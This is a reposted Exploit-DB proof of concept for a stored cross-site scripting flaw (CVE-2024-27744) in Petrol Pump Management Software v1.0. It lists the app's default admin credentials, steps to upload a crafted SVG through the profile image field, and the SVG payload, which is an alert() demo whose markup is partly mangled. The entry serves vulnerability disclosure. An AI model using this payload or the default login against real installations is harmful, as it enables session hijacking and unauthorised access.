Petrol Pump Management Software v.1.0 – Stored Cross Site Scripting via SVG file - 体验盒子

作者： Shubham Pandey

日期： 2024-03-03

类别：

remote

平台：

php

来源：https://www.exploit-db.com/exploits/51837/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

# Exploit Title: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file

# Date: 01-03-2024

# Exploit Author: Shubham Pandey

# Vendor Homepage: https://www.sourcecodester.com

# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html

# Version: 1.0

# Tested on: Windows, Linux

# CVE : CVE-2024-27744

# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the image parameter in the profile.php component.

# POC:

1. Here we go to : http://localhost/fuelflow/index.php

2. Now login with default username=mayuri.infospace@gmail.com and

Password=admin

3. Now go to "http://localhost/fuelflow/admin/profile.php"

4. Upload the xss.svg file in "Image" field

5. Stored XSS will be present in "

http://localhost/fuelflow/assets/images/xss.svg" page

6. The content of the xss.svg file is given below:

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "

http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

>

<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"

stroke="#004400"/>

alert("XSS by Shubham Pandey");

</script>

</svg>

# Reference:

https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27744.md